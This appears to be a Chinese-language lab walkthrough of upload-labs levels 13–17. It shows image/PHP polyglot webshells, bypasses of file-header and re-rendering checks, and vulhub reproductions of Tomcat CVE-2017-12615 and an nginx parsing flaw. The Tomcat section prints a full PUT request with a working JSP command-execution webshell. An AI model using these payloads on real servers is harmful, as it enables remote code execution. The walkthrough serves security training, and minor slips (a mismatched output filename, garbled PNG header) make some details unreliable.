copy 1.png /b + shell.php /a webshell.jpg文件头检测图像文件信息判断逻辑安全=二次渲染逻辑安全-条件竞争目录命名-x.php/.脚本函数漏洞-CVE-2015-2348数组接受+目录命名
copy 1.png /b + shell.php /a webshell.jpg 意思是将shell.php中的代码追加到1.png中并重新生成一个叫webshell.php的代码。
第十三关
用上面的代码制作成图片马然后正常上传,获取到图片的地址。然后打开文件包含漏洞页面
将刚才上传的图片作为参数发送给服务器。然后获取到webshell

也可以用蚁剑这种工具拿下webshell
第十四关
function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)){return $ext;}else{return false;}}else{return false;}}$is_upload = false;$msg = null;if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}}
getimagesize代码的核心就是使用这个函数这个函数会对文件头进行验证
比如GIF的文件头为GIF89a
png的文件头为塒NG
所以此处正常上传一个图片马将后缀改名为PHP即可

第十五关
和上面的一关基本是一样的只需要正常的上传然后结合文件包含漏洞利用。
第十六关
https://xz.aliyun.com/t/2657#toc-13
https://blog.csdn.net/m0_46436640/article/details/107809772
这一关的难度相对来说比较大,因为文件的验证比较复杂。
$is_upload = false;$msg = null;if (isset($_POST['submit'])){// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];$target_path=UPLOAD_PATH.basename($filename);// 获得上传文件的扩展名$fileext= substr(strrchr($filename,"."),1);//判断文件后缀与类型,合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);if($im == false){$msg = "该文件不是jpg格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".jpg";$newimagepath = UPLOAD_PATH.$newfilename;imagejpeg($im,$newimagepath);//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.$newfilename;@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefrompng($target_path);if($im == false){$msg = "该文件不是png格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".png";$newimagepath = UPLOAD_PATH.$newfilename;imagepng($im,$newimagepath);//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.$newfilename;@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";$newimagepath = UPLOAD_PATH.$newfilename;imagegif($im,$newimagepath);//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.$newfilename;@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else{$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";}}
先上传一张图片马然后下载,将下载的图片马和原先的图片进行对比,发现没有被渲染的位置插入PHP代码最后在上传,再下载观察PHP代码是否被渲染。


第十七关
中间件解析漏洞
tomcat文件解析漏洞
CVE-2017-12615
环境搭建https://vulhub.org/#/environments/tomcat/CVE-2017-12615/
jiang@ubuntu:/opt/vulhub/vulhub-master/tomcat/CVE-2017-12615$ docker-compose up -d
访问ip:port
burp修改数据包
PUT /1.jsp/ HTTP/1.1Host: 10.1.1.7:8080Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 750<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
访问http://10.1.1.7:8080/1.jsp?&pwd=023&cmd=id

nginx解析漏洞
环境搭建:https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/
jiang@ubuntu:/opt/vulhub/vulhub-master/nginx/nginx_parsing_vulnerability$ pwd/opt/vulhub/vulhub-master/nginx/nginx_parsing_vulnerabilityjiang@ubuntu:/opt/vulhub/vulhub-master/nginx/nginx_parsing_vulnerability$ docker-compose up -d
正常上传一张图片马
然后在URL后面添加/xx.php 文件名随便


